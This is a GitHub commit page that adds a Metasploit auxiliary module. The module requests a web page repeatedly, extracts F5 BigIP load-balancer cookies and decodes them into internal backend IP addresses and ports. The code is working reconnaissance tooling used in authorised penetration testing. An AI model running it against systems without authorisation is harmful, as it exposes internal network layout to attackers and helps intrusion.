Skip to content

Commit 9cd6c5e

Browse files
committed
Land rapid7#3297, @Th4nat0s's F6 backends disclosure module
2 parents 4990469 + 4e80e1c commit 9cd6c5e

File tree

1 file changed

+125
-0
lines changed

1 file changed

+125
-0
lines changed
Lines changed: 125 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,125 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Auxiliary::Report
11+
include Msf::Exploit::Remote::HttpClient
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'F5 BigIP Backend Cookie Disclosure',
16+
'Description' => %q{
17+
This module identify F5 BigIP Load Balancers and leaks backends
18+
information through cookies.
19+
},
20+
'Author' => [ 'Thanat0s <thanspam[at]trollprod.org>' ],
21+
'References' =>
22+
[
23+
['URL', 'http://support.f5.com/kb/en-us/solutions/public/6000/900/sol6917.html'],
24+
['URL', 'http://support.f5.com/kb/en-us/solutions/public/7000/700/sol7784.html?sr=14607726']
25+
],
26+
'License' => MSF_LICENSE
27+
))
28+
29+
register_options(
30+
[
31+
OptString.new('TARGETURI', [true, 'The URI path to test', '/']),
32+
OptInt.new('REQUESTS', [true, 'Number of requests to send to disclose back', 10])
33+
], self.class)
34+
end
35+
36+
def change_endianness(value, size=4)
37+
conversion = value
38+
39+
if size == 4
40+
conversion = [value].pack("V").unpack("N").first
41+
elsif size == 2
42+
conversion = [value].pack("v").unpack("n").first
43+
end
44+
45+
conversion
46+
end
47+
48+
def cookie_decode(cookie_value)
49+
back_end = ""
50+
51+
if cookie_value =~ /(\d{8})\.(\d{5})\./
52+
host = $1.to_i
53+
port = $2.to_i
54+
55+
host = change_endianness(host)
56+
host = Rex::Socket.addr_itoa(host)
57+
58+
port = change_endianness(port, 2)
59+
60+
back_end = "#{host}:#{port}"
61+
end
62+
63+
back_end
64+
end
65+
66+
def get_cookie # request a page and extract a F5 looking cookie.
67+
cookie = {}
68+
res = send_request_raw({
69+
'method' => 'GET',
70+
'uri' => @uri
71+
})
72+
73+
unless res.nil?
74+
# Get the SLB session ID, like "TestCookie=2263487148.3013.0000"
75+
m = res.get_cookies.match(/([\-\w\d]+)=((?:\d+\.){2}\d+)(?:$|,|;|\s)/)
76+
unless m.nil?
77+
cookie[:id] = (m.nil?) ? nil : m[1]
78+
cookie[:value] = (m.nil?) ? nil : m[2]
79+
end
80+
end
81+
82+
cookie
83+
end
84+
85+
def run
86+
unless datastore['REQUESTS'] > 0
87+
print_error("Please, configure more than 0 REQUESTS")
88+
return
89+
end
90+
91+
back_ends = []
92+
@uri = normalize_uri(target_uri.path.to_s)
93+
print_status("#{peer} - Starting request #{@uri}")
94+
95+
for i in 0...datastore['REQUESTS']
96+
cookie = get_cookie() # Get the cookie
97+
# If the cookie is not found, stop process
98+
if cookie.empty? || cookie[:id].nil?
99+
print_error("#{peer} - F5 Server Load Balancing cookie not found")
100+
break
101+
end
102+
103+
# Print the cookie name on the first request
104+
if i == 0
105+
print_status("#{peer} - F5 Server Load Balancing \"#{cookie[:id]}\" found")
106+
end
107+
108+
back_end = cookie_decode(cookie[:value])
109+
unless back_ends.include?(back_end)
110+
print_status("#{peer} - Backend #{back_end} found")
111+
back_ends.push(back_end)
112+
end
113+
end
114+
115+
# Reporting found backends in database
116+
unless back_ends.empty?
117+
report_note(
118+
:host => rhost,
119+
:type => "f5_load_balancer_backends",
120+
:data => back_ends
121+
)
122+
end
123+
124+
end
125+
end

0 commit comments

Comments
 (0)